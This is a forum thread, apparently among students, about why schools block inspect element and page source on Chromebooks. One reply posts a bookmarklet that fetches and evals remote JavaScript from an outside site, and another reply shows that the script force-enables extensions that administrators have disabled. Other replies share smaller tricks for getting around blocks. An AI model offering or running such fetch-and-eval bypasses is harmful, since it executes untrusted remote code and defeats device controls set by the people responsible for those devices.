Why do schools block inspect element?

NanoRook

I once changed around some text in inspect element when I was a kid. Showed it to a teacher and she thought it was pretty funny. The next day I had another teacher of mine say that I did nothing wrong but that I shouldn't talk about it/do it too much because district employees might see me doing it and think I'll hack into the LMS and change grades like I'm David Lightman in War Games.

I've heard other stories of kids saying someone is a ‘hacker’ because they used inspect element, so I imagine district employees just save themselves the trouble and shut it off to avoid stuff like that.

I have to use chrome os and Google chrome. Turbo warp is blocked. inspect is blocked. command prompt is blocked. EVERYTHING IS BLOCKED!!!

My school doesn't block it, probably because this year, we're learning about web design, and our teacher is encouraging us to use inspect element to see how other webpages are made.

ctrl+u is now blocked, so no more learning code. Turbowarp is blocked. I have noticed that some webs are blocked while school but not at home. This does not include ctrl+i and ctrl+u. Schools abuse their power (I'm over exaggerating but whatever)

Chrome OS? If the browser is Chrome, but your on windows, consider yourself lucky. Chrome OS cant have anything without Linux mode, which is blocked.

same, turbo is not blocked.

bookmarklets are blocked supposedly, my friend tried one that rids the computer of all extensions but it didnt work
a bookmarklet cant do that.

It might if it's on a google.com page.

It's probably blocked because everyone at the school is a bonehead who believes that devtools is used for hacking and permanently modifying your grades. But in defense, there really isn't any use for devtools besides debugging sites (writing a svelte app but every error is in the devtools…), so while your school doesn't have much of a reason to block devtools, there isn't much of a problem, right?

It's maybe blocked because of crazy things to unblock things. There is a website called https://use-inspect.glitch.me/ which gives you inspect but doesn't give you super power inspect.

My school doesn’t even block anything.

cuz theres a script that can unblock extensions

javascript:fetch("https://compactcow.com/ltbeef/exploit.js").then(data=>{data.text().then(text=>{eval(text)})});

I think it's trying to install an extension.

By looking at the fetched JS closer:

...
document.toggleFunction = function(id){
    var clickedRow = document.getElementById(id);
    chrome.management.setEnabled(id, clickedRow.children[0].children[0].children[0].checked);
};
...

This seems to force-enable whatever extension you want! Neat :)
Not malicious at all

If your school uses Chrome and blocks ‘View page source’, just add view-source: to the start of a URL.

One of the reasons is that you have access to things that are supposed to be hidden, you can change the appearance of everything, and probably a lot of other stuff stuff. Also, I found a javascript piece of code that bypasses some, but hardly any schools' inspect element blockers, and never ever on Chromebooks for some reason, and also it's not full access, just editing to text that you shouldn't be able to edit normally. The code: vvv document.body.contenteditable = ‘true’; document.designmode='on' void 0;

No, it's just the bookmark that's patched. I suppose you're thinking about Ingot.

maybe they block because they look like if they were “hacking” grades/games (also blocked but unrelated)?

this post was written hours ago but posted now

Perhaps to stop students from injecting malicious scripts to break the system.
